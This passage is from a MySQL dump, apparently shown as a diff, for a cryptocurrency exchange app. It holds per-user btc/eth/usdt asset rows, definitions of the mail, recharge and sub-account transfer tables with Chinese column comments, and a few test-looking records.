'0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (316, '0xcbb81ada0f810db490fcbf46811edced8f005ad1', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-05 14:30:28', NULL, '2023-12-05 14:30:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (317, '0x10879c7c320fe391f400369b8d74c0b34a201cf6', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-07 21:08:04', NULL, '2023-12-07 21:08:04', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (318, '0x12b3b2edc022e349b67a8b124e4ac377363b1cb4', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2023-12-25 17:23:16', NULL, '2023-12-25 17:23:16', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'btc', 15.000000, 0.000000, 15.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 16:05:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (319, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-15 23:53:11', NULL, '2024-01-15 23:53:11', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 1003.600000, 0.000000, 1003.600000, '1', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 19:10:49', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (320, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 12:18:32', NULL, '2024-01-19 12:18:32', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (321, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 18:52:31', NULL, '2024-01-19 18:52:31', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (322, '0x40e7909a8fe1e71d5b5f8c67f12d8006be42f8c9', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 18:54:12', NULL, '2024-01-19 18:54:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (323, '0xd31d6172ac655297ff3d0562790052878099e000', 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-01-19 19:04:24', NULL, '2024-01-19 19:04:24', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 100000.000000, 0.000000, 100000.000000, '1', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 08:14:17', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (324, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-11 16:12:52', NULL, '2024-02-11 16:12:52', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (325, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:11:23', NULL, '2024-02-13 18:11:23', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (326, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:13:58', NULL, '2024-02-13 18:13:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (327, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 18:27:59', NULL, '2024-02-13 18:27:59', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (328, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 22:13:12', NULL, '2024-02-13 22:13:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (329, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-13 23:53:46', NULL, '2024-02-13 23:53:46', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (330, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:12:20', NULL, '2024-02-14 00:12:20', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (331, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:14:58', NULL, '2024-02-14 00:14:58', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (332, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:17:53', NULL, '2024-02-14 00:17:53', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (333, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:36:28', NULL, '2024-02-14 00:36:28', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (334, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:41:41', NULL, '2024-02-14 00:41:41', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (335, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 00:45:15', NULL, '2024-02-14 00:45:15', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'btc', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'eth', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '1', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '2', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); +INSERT INTO `t_app_asset` VALUES (336, NULL, 'usdt', 0.000000, 0.000000, 0.000000, '3', NULL, '2024-02-14 18:15:12', NULL, '2024-02-14 18:15:12', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_mail +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_mail`; +CREATE TABLE `t_app_mail` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NULL DEFAULT NULL, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '标题', + `content` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '内容', + `type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '消息类型 1=普通消息 2=全站消息', + `status` int(0) NOT NULL DEFAULT 0 COMMENT '状态(0 未读 1已读)', + `opertor_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '操作人', + `create_time` datetime(0) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '0正常 2删除', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1051 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '1v1站内信' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_app_recharge +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_recharge`; +CREATE TABLE `t_app_recharge` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NOT NULL COMMENT '所有者ID', + `username` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `amount` decimal(30, 6) NOT NULL COMMENT '充值金额', + `bonus` int(0) NULL DEFAULT 0, + `status` tinyint(0) NOT NULL COMMENT '状态', + `serial_id` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '订单号', + `tx_id` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '第三方支付订单号', + `type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '类型', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `address` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '充值地址', + `tree` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `coin` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '币总', + `to_address` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '入款地址', + `block_time` datetime(0) NULL DEFAULT NULL COMMENT '区块时间', + `host` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `real_amount` decimal(18, 6) NULL DEFAULT NULL COMMENT '实际到账金额', + `file_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '充值凭证', + `recharge_remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `notice_flag` int(0) NULL DEFAULT 0 COMMENT '通知字段 0未通知 1通知了', + `app_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'app代理ids', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '后台代理ids', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `order_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '订单类型 1/null=充值 2=彩金赠送', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `tx_id`(`tx_id`) USING BTREE, + INDEX `user_id`(`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 120 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '用户充值表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_recharge +-- ---------------------------- +INSERT INTO `t_app_recharge` VALUES (118, 'test01', '2023-11-23 21:58:24', 'admin', '2023-12-07 18:56:59', NULL, 309, 'test01', 400.000000, 0, 1, 'W1123135814493', NULL, 'USDT-TRC', NULL, 'TYxYjZ4SyFXfwPa9h2YgYoYXjogoUNwejY', NULL, 'usdt', NULL, NULL, NULL, 400.000000, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0388ec593811d4fe88538be18edca46e4.png', NULL, 0, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_recharge` VALUES (119, '123456', '2023-12-08 02:57:58', 'admin', '2023-12-07 18:58:20', NULL, 315, '123456', 1500.000000, 0, 1, 'W1207185713490', NULL, 'USDT-TRC', NULL, '111111111', NULL, 'usdt', NULL, NULL, NULL, 1500.000000, 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.015ea4e63a3b3438682e3936abcee798a.png', NULL, 0, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_sub_transfer +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_sub_transfer`; +CREATE TABLE `t_app_sub_transfer` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `email` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '子账号邮箱', + `email_type` tinyint(1) NOT NULL COMMENT '1转入,2转出', + `type` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '划转类型:\"SPOT\",\"USDT_FUTURE\",\"COIN_FUTURE\",\"MARGIN\"(Cross),\"ISOLATED_MARGIN\"', + `tranid` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '订单号', + `amount` decimal(11, 0) NOT NULL COMMENT '价格', + `asset` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '货币类型', + `status` tinyint(0) NOT NULL DEFAULT 1 COMMENT '1正常 2失败', + `create_time` datetime(0) NOT NULL COMMENT '创建时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 15 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_sub_transfer +-- ---------------------------- +INSERT INTO `t_app_sub_transfer` VALUES (1, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708317752730', 5, 'USDT', 2, '2024-02-19 12:42:33'); +INSERT INTO `t_app_sub_transfer` VALUES (2, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708318012700', 5, 'USDT', 2, '2024-02-19 12:46:53'); +INSERT INTO `t_app_sub_transfer` VALUES (3, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708318080916', 5, 'USDT', 1, '2024-02-19 12:48:01'); +INSERT INTO `t_app_sub_transfer` VALUES (4, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319214436', 1, 'USDT', 1, '2024-02-19 13:06:54'); +INSERT INTO `t_app_sub_transfer` VALUES (5, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319224210', 1, 'USDT', 1, '2024-02-19 13:07:04'); +INSERT INTO `t_app_sub_transfer` VALUES (6, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319291239', 1, 'USDT', 1, '2024-02-19 13:08:11'); +INSERT INTO `t_app_sub_transfer` VALUES (7, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319537938', 1, 'USDT', 1, '2024-02-19 13:12:18'); 